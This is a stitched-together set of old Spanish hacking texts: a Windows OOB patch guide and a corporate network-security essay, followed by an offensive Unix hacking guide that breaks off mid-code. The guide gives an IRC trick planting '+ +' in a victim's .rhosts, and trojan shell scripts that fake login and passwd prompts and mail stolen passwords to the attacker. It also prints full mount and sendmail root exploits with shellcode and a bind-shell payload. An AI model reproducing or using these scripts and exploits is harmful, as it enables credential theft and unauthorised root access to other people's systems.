cualquiera y que nos de la IP del que nos manda algun tipo de informa-

cion , por ejemplo el PLISTEN.EXE (http://skream.simplente.com/plisten)

2.1.4.1              Parches OOB

ÄÄÄÄÄÄÄÄÄÄÄÄÄ

La solucion mas simple y efectiva para parchear un ordenador es quitar el NetBIOS sobre TCP/IP, con lo que desaparece el puerto 139.  Esta solucion tiene el inconveniente de que no podremos conectar una red local que utilice NetBIOS.

Otra solucion muy facil y util tanto para Windows 3.11 y Windows 95 es

renombrar el fichero “vnbt.386” por “vnbt.oob” (for example) existente

en el subdirectorio WINDOWS\SYSTEM.Al reiniciar habremos logrado quitar

el NetBIOS y cerrar el puerto 139 , por lo que ya seremos inmunes al

ataque.

En Windows NT 4.0 hay que dirigirse al “Panel de Control” , pinchar en

< Red, Protocolos, TCP/IP > y por ultimo en < Propiedades >.

En la pesta¤a < Direccion IP > se selecciona < Avanzado >.En la caja

de dialogo de < Propiedades Avanzadas TCP/IP> se selecciona cerrar el

puerto.

Pero si necesitamos mantener NetBIOS sobre TCP/IP, como es tipico en

las mayorias de las redes locales, la solucion pasa por interpretar

los datos urgentes tipo OOB.

Para ello en Windows 3.11 se edita el fichero “system.ini” y se busca

la linea [MSTCP], y en la siguiente se debe intercalar la orden :

BSDUrgent=0

Tras ello se guarda el fichero y se reinicia el ordenador.

En Windows 95 hay que recurrir al socorrido editor de registros, eje-cutando el programa “regedit.exe”.Damos doble click en la carpeta HKEY_LOCAL_MACHINE, CurrentControlSet, Services, VxD, MSTCP.Vamos al menu < Edicion >, escogemos < Nuevo > y a continuacion < Valor de Variable >.Le damos el nombre de BSDUrgent.Doble click sobre la nueva variable y le damos el valor 0.  Por ultimo debemos reinicializar el ordenador.

 

ÄÄ>

Saludos.

ThE_WiZArD

wizard555@hotmail.com

 

-=[ “Information is the greatest weapon of power to the modern wizard.” ]=-

 

Peligros a los que están expuestos sus datos y algunos

esquemas para evitarlos

 

 

 

 

Esquemas de Seguridad en Redes de

Datos

 

Peligros a los que están expuestos sus datos y algunos esquemas para

evitarlos

Introducción

Es indudable el valor que tiene la información en nuestra sociedad. Es mediante flujos de información que hacemos transferencias de dinero (

Banca en línea, cajeros automáticos o teleservicios ), nuestra información esta almacenada en registros médicos, registros de pagos de

impuestos, registros bancarios de historia de crédito y en el caso de la medicina pre-pagada es la información de nuestros estados de cuenta

la que nos permite o no acceder a los servicios, igual sucede con los servicios públicos, servicios de telefonía celular, la cuenta de internet o

el T.V. cable.

En el mercado corporativo la información que posee una compañía (el “know-how” ) le permite diferenciarse de la competencia y le da

ventajas competitivas, en el mundo empresarial conocemos la importancia de mantener la información de contactos actualizada, de modo que

la información pueda fluir a los canales adecuados en el tiempo adecuado.

En pocas palabras la información que posee hoy en día una compañía, sin necesidad de restringirnos únicamente a la banca, tiene un precio

y normalmente es un precio alto comparable incluso a los activos de las compañías, sin embargo muchas compañías en nuestro país toman

pocas o ninguna precaución a la hora de cuidar de sus datos.

El objetivo de este documento es indicar de una forma breve cual puede ser el costo de la perdida de los datos, los tipos de intrusión y

delitos electrónicos, de los cuales puede ser objeto una compañía y finalmente algunos de los esquemas que existen en el mercado para

prevenir este tipo de delitos.

Cual puede ser el valor de los datos ?

Es necesario contestar esta pregunta con varias preguntas, cuanto vale para una compañía que sus empleados dejen de trabajar por que el

sistema esta “abajo” por problemas en el servidor ?, cuanto vale que su competencia se entere del valor total de la cotización que acaba de

presentar ?, cuanto vale para una compañía que presta servicios de acceso a internet, que una o varias personas usufructúen los servicios

sin pagar un peso, solo porque tuvieron acceso a la base de datos de contraseñas ?, todo esto sin contar lo que puede costar una única

transacción electrónica realizada en una entidad bancaria.

El tema de la seguridad es un tema espinoso, que ha tomado vigencia en los últimos años con el tema de internet en el mercado corporativo,

que tan peligroso es enviar la información de mi tarjeta de crédito a través de internet para hacer una compra, en una red gigantesca donde

viajan no únicamente los 16 dígitos de mi tarjeta de crédito sino millones de datos mas , gráficas, voz y vídeo?. La verdad resulta algo

complicado y. algunos expertos opinan que corro mas peligro cuando entrego mi tarjeta al empleado del restaurante o cuando la dicto por

teléfono para hacer una compra. El peligro mas grande está, no al enviar la información si no una vez esta información unida a la de miles de

clientes mas reposa en una base de datos de la compañía con la que hice el negocio, con un único acceso no autorizado a esta base de

datos, es posible que alguien obtenga no únicamente mis datos y los de mi tarjeta, sino que tendrá acceso a los datos y tarjetas de todos los

clientes de esta compañía. Además el tema se ha restringido únicamente a internet, pero la verdad es que aunque no este conectado a

internet, mi red esta expuesta a distintos tipos de ataques electrónicos, incluidos los virus.

Para tratar de poner un valor al costo del delito electrónico podemos mencionar el reporte de la agencia norteamericana Defense Information

Systems Agency titulado Defending the Defense Information Infrastructure- Defense Information Systems Agency USA July 9, 1996

donde las corporaciones mas grandes en Estados Unidos reportan haber experimentado perdidas estimadas en US$800 millones dólares en

1996 debido a ataques a la red, o el reporte de marzo de The Computer Security Institute (CSI) que indica que el crimen de computo

continua en alza y se reportan perdidas superiores a los US$100 millones de dólares y esto es tan solo el primer cuarto del año 1997. Si

además tenemos en cuenta que según las estadísticas de estas agencias norteamericanas solo 1 de cada 500 ataques son detectados y

reportados , ya es entonces posible hacerse una idea de los valores involucrados en este tipo de delito.

Es el delito electrónico Real ? ( Me puede pasar a mi ? )

El delito electrónico es real, las cifras de las que hablábamos anteriormente lo demuestran Un paradigma que existe en nuestro país es que

cometer un delito electrónico es complicado y que no existen personas con las habilidades necesarias para poder ingresar a los sistemas de

las empresas, otra cosa muy distinta opinan los administradores de los sistemas informáticos de universidades, como la Universidad de los

Andes o la Universidad Javeriana, quienes han visto como estudiantes de la otra universidad tratan de accesar sus sistemas con distintos

métodos y en algunos casos lo han logrado, incluso un par de estudiantes de sistemas de la Universidad de los Andes presentaron el año

pasado su proyecto de grado en seguridad, en el cual demostraron en forma práctica como hacían Hacking y lograban ingresar a distintos

sistemas, hoy en día ya graduados tienen una compañía dedicada a chequear algunos problemas de seguridad en diversos sistemas.

Otro ejemplo de las capacidades de que alguien cometa este tipo de delito en nuestro país se pudo observar en el informe que la publicación

portafolio presento el día 30 de junio de 1997, en dicho informe se mostró como la publicación accedió (por supuesto sin autorización

explícita ) a los sitios electrónicos de CM&, Ecopetrol y la Bolsa de Bogotá, altero el contenido de las paginas electrónicas y obtuvo los

nombres de usuario y contraseñas de acceso al correo electrónico.

No olvidemos además el gran número de celulares clonados (duplicados) que los operadores nacionales han descubierto en el país, esto

indica un mínimo de conocimientos electrónicos en un sector no muy honrado de los habitantes de nuestro país.

Como si fuera poco, no es necesario que el delito se cometa en el mismo país, muchos de los hackers ( termino empleado para designar a

personas con capacidad de ingresar a sistemas propietarios ) han heredado parte sus habilidades de unos personajes que se

auto-denominaban phreakers (phone freaks, personas con las habilidades para poder realizar llamadas nacionales e internacionales sin tener

que pagar por ellas ) para estos hackers-phreakers es relativamente sencillo llamar desde otro país e ingresar a un sistema en un país

extranjero, se asombraría de saber lo que puede hacer uno de estos personajes con el sistema telefónico de un país o de su empresa, al fin y

al cabo la mayoría de centrales telefónicas no son hoy en día mas que computadores especializados, y muchas de ellas ofrecen

características interesantes, como desviar llamadas entrantes a un número interno o externo, conexiones entre tres participantes (sin que dos

de ellos lo sepan ) y otro tipo de servicios que mal empleados pueden servir de puerta de entrada hacia el sistema de una compañía.

Debemos entonces tener en cuenta que es posible atacar un sistema desde un país distante y como ejemplo especifico tenemos el hacker

Argentino Julio Cesar Ardita (21 años) quien el primero de Abril de 1996 fue atrapado después de meses de labor policial, con cargos

orientados a que desde un computador en la casa de sus padres en Argentina accesó documentos del Pentágono, la Nasa y la Marina de los

Estados Unidos. El delito electrónico en Argentina, al igual que en muchos de nuestros países Latinoamericanos no se encuentra tipificado,

razón por la cual es posible que este hacker no obtenga pena alguna, otro ejemplo pueden ser el grupo de hackers Alemanes que en 1991

demostró como podía entrar a las computadoras militares Norteamericanas mientras que eran filmados por la televisión Alemana.

En cuanto a la habilidad necesaria para poder accesar a sistemas informáticos, la verdad es que no se necesita mucha, solo un poco de

conocimiento del tema y algo de tiempo, si usted tiene una conexión a internet, puede conectarse a alguno de los muchos programas de

búsqueda que existen e intentar la palabra “hacker”, en poco tiempo obtendrá miles de sitios dedicados exclusivamente a este tema. Les

sugiero muchas precauciones si deciden visitar alguno de los sitios, ya que encontraran que varios de ellos trataran de introducir virus en su

sistema. En estos sitios encontrará: colecciones de virus, programas llamados troyanos ( recuerda la historia del caballo de Troya, un caballo

aparentemente inofensivo en el cual viajaba un ejercito de destrucción?, es algo similar ) varios programas diseñados para encontrar

contraseñas de acceso, programas para marcar números telefónicos hasta obtener un número valido, listados de las contraseñas por defecto

de muchos sistemas incluidos los de IBM, revistas y grupos de noticias especializados exclusivamente en el tema y varias herramientas

similares.

Como dato curioso si hace una búsqueda por las palabras combinadas Hacker +Colombia encontrará entre otras una dirección electrónica

que alberga no solo información de hackers, sino información de grupos guerrilleros latinoamericanos y algunos enlaces a sitios que

enseñan a construir bombas caseras, otras referencias unidas a la palabra Hacker y Colombia lo conectaran con un libro electrónico llamado

The Hacker Crackdown por Bruce Sterling, este libro que también se publica en forma no electrónica narra los acontecimientos que en 1990

llevaron a juicio a varios hackers en Norte América ( las conexiones con Colombia hacen referencia a los Carteles, de quienes este autor dice

utilizan los medios electrónicos y las técnicas de hacking para manejar los negocios de la droga ).

Como puedo proteger mi red ( Auxilio, que hago ?)

Partamos del hecho que el único computador realmente seguro es aquel que no esta conectado a nada, no tiene un módem, no trabaja con

documentos que vengan de otros computadores y solo yo tengo la llave del cuarto donde esta encerrado y las contraseñas de inicio, todo

esto realmente no lo hace muy funcional y tal vez seria mas fácil ni siquiera tener computador. Pensar en aislar su red completamente es algo

así como no tener carro, porque existe la posibilidad de lo roben, al igual que existen alarmas para autos de distinta complejidad, existen

varios esquemas de seguridad que se pueden utilizar.

Uno de los primeros puntos a proteger es el acceso físico a los equipos, diseñe estrategias que mantengan los puntos mas sensibles de su

sistema fuera del acceso de los usuarios que no tienen nada que hacer allí, las cerraduras aún ayudan, no olvide que según las estadísticas

muchos de los ataques a la red son internos, es entonces recomendable que los centros de cableado, los concentradores, los armarios de

distribución de pares, los servidores, enrutadores, switches, multiplexores, equipos de Frame Relay, Equipos de X.25, modems y demás

equipos neurálgicos se encuentren fuera del alcance de los operarios que no tienen que ver con ellos, para los sitios que tienen alto tráfico

en los que una cerradura permanente no resulta funcional instale cerraduras automáticas y asegúrese de que se usan, una visita periódica le

permitirá descubrir que por comodidad los operarios pondrán cintas que cubren la chapa, entraran varias personas con una misma tarjeta,

etc.

Una vez proteja sus equipos físicamente asegúrese de que los usuarios de estos si son quienes dicen ser, el acceso a los servidores

normalmente se maneja con contraseñas, pero muchos de los usuarios y operadores utilizan las mismas contraseñas durante toda la vida en

la empresa y las contraseñas normales son relativamente sencillas de encontrar y existen programas diccionario capaces de encontrarlas con

el suficiente tiempo. Las principales contraseñas utilizadas son: placa del auto ( o auto de la familia o auto de la esposa ), apodo o nombre

familiar, la cuenta de usuario (login), fecha de cumpleaños o del matrimonio, nombre del perro o combinaciones de nombre y apellido como

primera letra del nombre seguida del apellido.

Una estrategia es configurar los servidores de forma de que estas contraseñas tengan un tiempo determinado de validez y se renueven

automáticamente, el problema de esta estrategia es que los usuarios terminan olvidando sus contraseñas o las anotan en un post-it que en el

mejor de los casos estará colocado debajo del computador y el operador de la red termina atendiendo periódicamente a los usuarios que han

olvidado sus contraseñas, se recomienda entonces un esquema de autenticación centralizado para todos los servicios, existen sistemas de

autenticación centrales como el SecurID de Security Dinamics o el Trust Me de Racal Guardata que utilizan un esquema de Token (Una

tarjeta o Software) que tiene el usuario y que periódicamente cambia la contraseña, el usuario entonces esta definido por dos cosas: una que

sabe (la contraseña) y otra que tiene (el Token).

Los sistemas de autenticación me dicen que la persona que esta utilizando los servicios si es quien dice ser, esto protege mi red interna, pero

para proteger mi red una vez esta deja el perímetro seguro (la puerta de mi oficina) debo utilizar esquemas de encripción, para las conexiones

dedicadas ( como los enlaces que tengo con Telecom o el canal de fibra óptica de Teleductos ) se utilizan entonces encriptores de línea como

los Datacryptor 64 de RACAL, estos alteran los datos de la red amplia de modo que no sea posible entenderlos a menos de que posea un

encriptor igual y lo que realmente importa mas, una llave de encripción igual a la del equipo que originalmente se utilizó para alterar los datos

(estas llaves de software deben de ser generadas, guardadas y distribuidas por una persona de confianza de la organización ), soluciones

similares como el Datacryptor 64E y el Datacryptor 64F existen para comunicaciones X.25 y Frame Relay ( El tipo de comunicaciones

ofrecidas en nuestro país por Impsat y Emtelco- Multinet entre otros ).

Para el caso de conexiones a Internet se utilizan otros esquemas llamados Firewalls (paredes de fuego), estos son computadores

especializados con dos tarjetas de red local y con un software especial como el de Alta Vista de Digital, que se sientan entre el pedazo de

red protegido y el salvaje oeste de la internet, estas máquinas tienen entonces esquemas programables que filtran y repelen los ataques que

provengan de la internet, impiden que se utilicen algunos servicios ( a quien le esta permitido hacer qué ), direcciones electrónicas (a quien le

esta permitido ir a donde.) y otras funciones de acuerdo a las políticas que se programen. Pueden además manejar algo que se conoce como

túneles encriptados, estos son canales de comunicación IP encriptados a través de la internet, esto me permite utilizar la internet como

backbone de comunicaciones y al mismo tiempo mantener mi privacidad, además también existe un túnel cliente para usuario final, de esta

forma alguien puede comunicarse haciendo una llamada en cualquier punto del mundo con cualquier proveedor de acceso a internet y sus

datos viajarán encriptados por la Internet hasta llegar a la organización.

Si mi red es una red IP, y estoy pensando en una Intranet, puedo utilizar los Firewalls no solo en la puerta de la Internet, sino internamente,

teniendo distintas políticas de acceso para los distintos puntos de mi Intranet, por ejemplo un Firewall que separe la parte de contabilidad del

resto de los usuarios y que permita acceso únicamente de las personas de contabilidad.

Otro punto que no hay que olvidar asegurar es el número de puertas abiertas en la red, cada vez que un usuario coloca un módem para

comunicarse a internet o para enviar un fax esta abriendo una puerta que al igual que para salir puede ser usada para entrar en la red, es mejor

utilizar un servidor de acceso remoto que al igual que concentra en un único punto las puertas de entrada a la red, puede ser utilizado para

proveer un único punto de salida. No se deben olvidar tampoco las políticas de software, cada vez que un usuario instala el juego gratis que

encontró en internet, puede estar instalando sin saberlo un programa que buscará su contraseña y la enviará utilizando un correo electrónico

a un hacker en alguna parte del mundo o un virus que bajará la productividad de su empresa. ( Tenga en cuenta que normalmente cada

empleado que tiene problemas con el sistema recibe ayuda de un compañero de trabajo, lo cual significa dos personas luchando contra un

virus, en lugar de estar atendiendo su trabajo real ).

Decidir si se debe o no trabajar con esquemas de seguridad depende de que tanto valen los datos que se quieren proteger, es una buena

idea comenzar paso a paso, se pueden asegurar primero los lugares mas delicados, normalmente los puntos donde se maneja dinero y los

puntos de acceso para después ir asegurando el resto de la red. Si su preocupación es la justificación de costos, piense en la seguridad

como lo que es, una medicina prepagada, lo que esta pagando hoy en día asegura su bienestar futuro, y los costos de no tener seguridad

pueden llegar a ser substancialmente mas altos que los costos de asegurar la red.

 

Documento Preparado por:

René Sanz

Ingeniero Especialista

Departamento de Mercadeo

Coldatos S.A.

Bogotá, Colombia S.A.

 

//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//

\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\

LA GUIA DEFINITIVA PARA HACKEAR UNIX ————————-By RAVEN SPIRIT

//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//

\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\

 

 

Hola a todos. Espero que los que leais este documento comprendais como se

hackea un unix. En mis frecuentes visitas al IRC mucha gente pregunta sobre el

/etc/passwd, mucha gente anda buscando diccionarios de palabras y otros tantos

buscan el mejor crackeador. ¨ para  que ?. Hay maneras mucho mas rapidas y

por supuesto divertidas de conseguir una cuenta. Y por supuesto es demasiado

dificil desencriptar la cuenta del root, por lo que solo se utiliza en casos

extremos, asi como los programas tipo dictmake solo se usan en casos muy raros

y cuando no nos queda otro recurso.

Empezamos. Antes de empezar me gustaria que quedara claro que si quereis ser

hackers en serio necesitais linux, no es absolutamente necesario pero facilita

muchisimo las cosas.

Para hackear un unix la primera cosa que necesitamos es, logico, introducirse

en el sistema. Algunos otros ordenadores tienes ftpïs anonimos a los que

podemos acceder, pero hacedme caso, no servir  para nada.

Para introducirnos en un sistema necesitamos que tenga al menos una parte de

acceso publico. Generalmente esa parte es la famosa pantalla “ Login: y

Password: “ que me imagino que todos conocereis.

Esta pantalla simplemente vale para identificar que la entrada de un usuario

en ese sistema sa legitima. Sin embargo esas tontas maquinas que solo saben

la diferencia entre 0 y 1 si les damos un login y password que esten dados

de alta en ese sistema nos dejara pasar ( a no ser que tengan un sistema de

reconocimiento de IP para lo que necesitariamos  hacer IP-Spoofing , pero esto

solo nos ocurrira en ciertos ordenadores de alta seguridad ). ¨ Como conseguir

acceso al sistema ? La manera mas facil, la ingenieria social. No creo que

haga falta explicar eso. Simplemente podeis utilizar en comando finger, para

los que useis linux y los que no usais el finger del mIrc. Este comando nos

dara informacion sobre el titular del e-mail que nostros le demos, que segun

la maquina sera, o mas o menos o a veces nada. Menos da una piedra. Si estais

desde linux podeis usar comandos “r” como “rlogin loquesea.com -l loginquesea”

esto os mete en el sistema, pero hay que conseguir una cuenta para poder usar

los exploits que explicar‚ mas adelante. Sin embargo hay otras maneras de

conseguir acceso al sistema, como por ejemplo la que explico ahora

COMO ACCEDER A UN ORDENADOR HACKEANDO DESDE EL IRC:

Esto solo lo podeis hacer desde linux, yo lo he probado desde win95 y 3.1 y

no lo he conseguido hacer. Primero hacemos un /whois #uncanalconmuchagente

para encontrar si hay alguien que se conecte desde un unix, que normalmente

ser  una universidad. El unico problema que tiene esto es que no podemos

elegir el ordenador, pero de todas maneras es muy divertido.

Lo unico que necesitamos es meter la cadena + + en su fichero /.rhosts y la

verdad es que es una tonteria tremenda.

Buscamos a la victima y vamos a un canal donde este el, despues le hablaremos

desde un privado. Ahora entra la imaginacion de cada uno, porque tenemos que

mandarle un fichero por DCC ( por ejemplo prueba.irc ) y que el escriba:

/load prueba.irc Me imagino que vuestra imaginacion os ayudara a resolverlo.

Lo primero es conseguir el fichero prueba.irc. Solo esta linea :

/exec echo: “/exec echo + + > $HOME/.rhosts >> prueba.irc

Ya tenemos el fichero prueba, lo mejor es que para que no se de cuenta podemos

a¤adirle alguna conachada que se nos ocurra ( alla cada uno se las apa¤e ).

Listo. Cuando el tio en cuestion escriba /load prueba.irc nosotros ejecutamos

% rlogin ordenador_de_la_victima.com -l login_de_la_victima

Ya estamos dentro. Facil ¨ No ?

Y para terminar un truquillo que quizas os valga para algo, simplemente cambiamos la paridad de nuestro modem a 7E1 y telneteamos al ordenador en cuestion. Si hemos tenido suerte, cuando alguien intente conectarse, nos “colaremos” en su lugar.

Despues de todo esto se supone que ya estamos dentro. Ahora hay que, o sacar una cuenta si no la tenemos o conseguir privilegios de root. Para lo primero:

  • Podemos usar el archirenombrado /ect/passwd ( si tenemos privilegios para leerlo ) y crackearlo pero si quereis mi consejo solo usad el fichero passwd para conseguir una cuenta cualquiera en el sistema y poder ejecutar comandos en ‚l, poder usar un bug o exploit.
  • Usar un trojan o Caballo De Troya, esta opcion tambien requiere tiempo pero por supuesto menos que crackear el fichero passwd, por que funciona en cuanto cualguier usuario se conecte al sistema. ATENCION, si conseguimos la cuenta del root nos podremos saltar el paso “ conseguir privilegios de root “, aunque los sysadmins, algunos, pueden sospechar aunque la verdad es que despues de hackear durante un tiempo te das cuenta de lo estupidos que pueden llegar a ser. Quizas sea una de las mejores formas. Un caballo de troya es un fichero que metido en el sistema hace que un usuario crea que ha introducido su password mal, pero en realidad el password es enviado a la direccion de correo que nosostros le digamos. Aqui incluyo uno, pero acordaos de ponerle la direccion a la que quereis que os mande el passwd, y ademas en algunos sistemas en lugar de “Login:” nos dice : “marte login: “ o algo distinto de login, por lo que tambien lo tenemos que cambiar para que nadie note la diferencia. Este es :

——SCRIPT——

#!/bin/sh

rm -rf $0

cp $HOME/.login $HOME/.l

echo “>$HOME/.hushlogin

echo “stty intr ‘^@’

echo ‘Login incorrect’

echo -n ‘login: ‘

echo $<>.t

echo -n ‘Password: ‘

stty -echo

echo $<>>.t

mail tunombre@tudirecciondecorreoanonima<.t

rm .t

cat /etc/motd

mv .l .login

rm .hushlogin

stty echo

source .login”>$HOME/.login

—-END SCRIPT—-

 

Este tipo de scripts tambien se pueden usar en /bin/passwd, para cuando un

usuario cambie su contrase¤a pero el problema es que no es muy normal que

un usuario cambie su contrase¤a, o por lo menos pasa muy de vez en cuando.

Para mayor seguridad lo mejor es poner el que esta arriba,( para el caso es

mejor poner los dos ) pero sin embargo aqui pongo el otro, por si acaso

( acordaos de la direccion de correo ) :

——SCRIPT——

#!/bin/tcsh

echo -n “Changing password for $USER on “;hostname

echo -n “Old password: “

stty -echo

echo $<>$HOME/.tym

echo “”

echo -n “New password: “

echo $<>>$HOME/.tym

echo “”

stty echo

mail tunombre@tudirecciondecorreoanonima<$HOME/.tym

rm $HOME/.tym

echo “Error: Incorrect Password”

rm -f $0

unalias /bin/passwd

unalias passwd

—END SCRIPT—

 

La ventaja que tienen estos dos scripts es que no influye que el fichero

passwd este shadowed o no.

Creo que con esto nos llega para conseguir una cuenta en un ordenador normal.

Pasamos a lo siguiente, conseguir los privilegios de root.

Para conseguir privilegios de root en un sistema NO hace falta desencriptar la cuenta del root del fichero passwd. Para ser root recurrimos a los bugs y a los exploits. Los bugs son “agujeros” en el dise¤o del SSOO y se suelen encontrar en listas de correo de seguridad, aunque hay algunas webs donde estan recopilados. Los exploits son programas que utilizan esos bugs para conseguirnos privilegios de root, aunque no es para lo unico que sirven, me refiero a que podemos usar un exploit para leer el correo de alguien, para ocultar lo que estemos haciendo en el ordenador etc…

Los exploits son ficheros de codigo .c que hay que compilar en el ordenador a hackear. Se meten por ftp y se compilan:

% cc -o loquesea loquesea.c

% loquesea

Listo. Hay algunos que requieren una manera especial de utilizacion, pero

lo indica claramente si editamos el fichero.

Los bugs y exploits suelen estar clasificados por sistemas, para que sea mas facil localizarlos. La verdad es que os recomiendo tener los exploits y bugs en vuestro ordenador ordenados por directorios, para que no perdais el tiempo la paciencia buscandolos.

Para que tengais alguna ayuda os voy a poner aqui unos cuantos:

 

Quizas este ya lo conozcais, es el mount, y funciona en casi todos los linux:

<————————————-CORTAD AQUI—————————>

/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio

Covin Security 1996

*/

 

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/stat.h>

 

#define PATH_MOUNT “/bin/umount”

#define BUFFER_SIZE 1024

#define DEFAULT_OFFSET 50

 

u_long get_esp()

{

__asm__(“movl %esp, %eax”);

 

}

 

main(int argc, char **argv)

{

u_char execshell[] =

“\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f”

“\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd”

“\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh”;

char *buff = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

 

int i;

int ofs = DEFAULT_OFFSET;

 

buff = malloc(4096);

if(!buff)

{

printf(“can’t allocate memory\n”);

exit(0);

}

ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

ptr += BUFFER_SIZE-strlen(execshell);

 

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)

*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (8/4);i++)

*(addr_ptr++) = get_esp() + ofs;

ptr = (char *)addr_ptr;

*ptr = 0;

 

(void)alarm((u_int)0);

printf(“Discovered and Coded by Bloodmask and Vio, Covin 1996\n”);

execl(PATH_MOUNT, “mount”, buff, NULL);

}

<————————————–FINAL——————————–>

Este otro exploit os dara un shell de root en los ordenadores que usen el sendmail 8.6.4, este es el codigo original, leed las lineas que empiecen por # porque es lo que teneis que escribir vosotros por que es distinto en cada sistema:

<——————————–CORTAD AQUI——————————–>

# location of sendmail

SENDMAIL=/usr/lib/sendmail

 

# location of original sendmail.cf file

CONFIG=/nau/local/lib/mail/sendmail.cf

#CONFIG=‘strings $SENDMAIL | grep sendmail.cf‘

 

# program to execute as root

SHELL=/bin/csh

 

TEMPDIR=/tmp/sendbug-tmp.$$

mkdir $TEMPDIR

chmod 700 $TEMPDIR

cd $TEMPDIR

 

cp $SENDMAIL sm

chmod 700 sm

 

echo “Creating setid0 …”

cat > setid.c << EOF

 

/* set uid to zero, thus escaping the annoying csh and solaris sh

  • problem..

*

  • if (getuid() != geteuid()) {
  • printf(“permission denied, you root-hacker you.\n”);
  • exit(1);

* }

*

  • .. must be run euid 0, obviously.  with no args it runs /bin/sh,
  • otherwise it runs the 1st arg.

*/

 

#include <stdio.h>

main(argc, argv)

int argc;

char *argv[];

 

int uid;

setuid(0);

setgid(0);

seteuid(0);  /* probabally redundant. */

setegid(0);

 

uid = getuid();

if (uid != 0) {

printf(“setuid(0); failed!  aborting..\n”);

exit(1);

}

 

if (argc !=2) {

printf(“executing /bin/sh…\n”);

system(“/bin/sh”);

}

else

{

printf(“executing %s…\n”, argv[1]);

system(argv[1]);

}

 

EOF

cc -o setid0 setid.c

echo “Creating calc…”

cat > calc.c << EOF

/*

  • Determines offset in sendmail of
  • sendmail.cf file location.
  • author: timothy newsham

*/

#include <fcntl.h>

gencore()

int pid;

int fd[2];

 

if(pipe(fd) < 0) {

perror(“pipe”);

exit(1);

return(0);

}

pid = fork();

if(!pid) {

int f = open(“./out”, O_RDWR|O_CREAT, 0666);

dup2(f, 1); dup2(fd[0], 0);

close(f); close(fd[1]); close(fd[0]);

execl(“./sm”,”sm”,”-d0-9.90”,”-oQ.”,”-bs”, 0);

perror(“exec”);

exit(0);

} else {

sleep(2);

kill(pid, 11);

}

close(fd[0]);

close(fd[1]);

 

 

main(argc,argv)

char **argv;

int argc;

 

unsigned int ConfFile,tTdvect,off;

gencore();

sync();   /* grr. */

tTdvect = find(“ZZZZZZZZ”, “core”);

ConfFile = find(argv[1], “core”);

if(!tTdvect || !ConfFile) {

return(1);

}

off = ConfFile – tTdvect;

printf(“-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n”, off, ‘/’, off+1, ‘t’, off+2, ‘m’, off+3, ‘p’, off+4, ‘/’, off+5, ‘s’, \ off+6, ‘m’, off+7, ‘.’, off+8, ‘c’, off+9, ‘f’, off+10);

 

int find(pattern, file)

char *pattern,*file;

 

int fd;

int i, addr;

char c;

 

fd = open(file, 0);

i = 0;

addr = 0;

while(read(fd, &c, 1) == 1) {

if(pattern[i] == c)

i++;

else

i=0;

if(pattern[i] == ‘\0’) {

addr -= strlen(pattern);

return(addr);

}

addr++;

}

return(0);

EOF

cc calc.c -o calc

 

echo “Scanning core image for $CONFIG…”

DEBUGFLAGS=‘calc $CONFIG‘

echo “Creating alias.sh …”

echo “#!/bin/sh

# this program will be executed when mail is sent to the fake alias.

# since solaris sh and csh and tcsh refuse to run when euid != realuid,

# we instead run the program we compiled above.

/bin/chmod 6777 $TEMPDIR/setid0

/bin/chown root $TEMPDIR/setid0

/bin/sync

 

“ > alias.sh

chmod 755 alias.sh

echo “Creating fake alias file…”

echo “yash: |$TEMPDIR/alias.sh” > aliases

 

echo “Faking alias pointer in new config file…”

egrep -v ‘(OA|DZ|Ou|Og)’ $CONFIG > /tmp/sm.cf

echo “

# hacks follow

 

OA/$TEMPDIR/aliases                     # our fake alias file

Ou0                                     # user ID to run as

Og0                                     # group ID to run as

DZWHOOP-v1.0” >> /tmp/sm.cf

echo “Creating the sendmail script…”

cat > sendmail.script << EOF

helo

mail from: <nobody>

rcpt to: <yash>

data

yet another sendmail hole?  suid whoop?

\.                                      # oops.. delete \ prior to execution

quit

EOF

 

echo “Executing $SENDMAIL $DEBUGFLAGS -bs…”

$SENDMAIL $DEBUGFLAGS -bs < sendmail.script

# give it time to execute.

sleep 4

 

# cleanup in 5 seconds

(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &

 

if [ -u setid0 ]

then

echo “setid0 is a suid shell.  executing…”

cd /

$TEMPDIR/setid0 /bin/csh

echo “end of script.”

exit 0

else

echo “setid0 is not suid; script failed.”

echo “apparently, you don’t have the bug.  celebrate :-)”

exit 1

fi

<———————————-FINAL————————————->

 

Este otro os har  root en los ssoo con el sendmail 4.x

<——————————-CORTAR AQUI———————————->

#!/bin/sh

# Uso: smail <hostname> <target-user-name> <target-port> <shell command>

# Defecto: smail <localhost> <daemon> <7001> </bin/sh>

port=$3

user=$2

cmd=$4

 

if [ -z “$2” ]; then

user=daemon

fi

if [ -z “$3” ]; then

port=7002

fi

if [ -z “$4” ]; then

cmd=”/bin/csh -i”

fi

 

(

sleep 4

echo “helo”

echo “mail from: |”

echo “rcpt to: bounce”

echo “data”

echo “.”

sleep 3

echo “mail from: $user”

echo “rcpt to: | sed ‘1,/^$/d’ | sh”

echo “data”

echo “cat > /tmp/a.c <<EOF”

cat <<  EOF

#include <sys/types.h>

#include <sys/signal.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;

int **av;{struct sockaddr_in mya;struct servent *sp

;fd_set muf;int myfd,new,x,maxfd=getdtablesize();

signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,

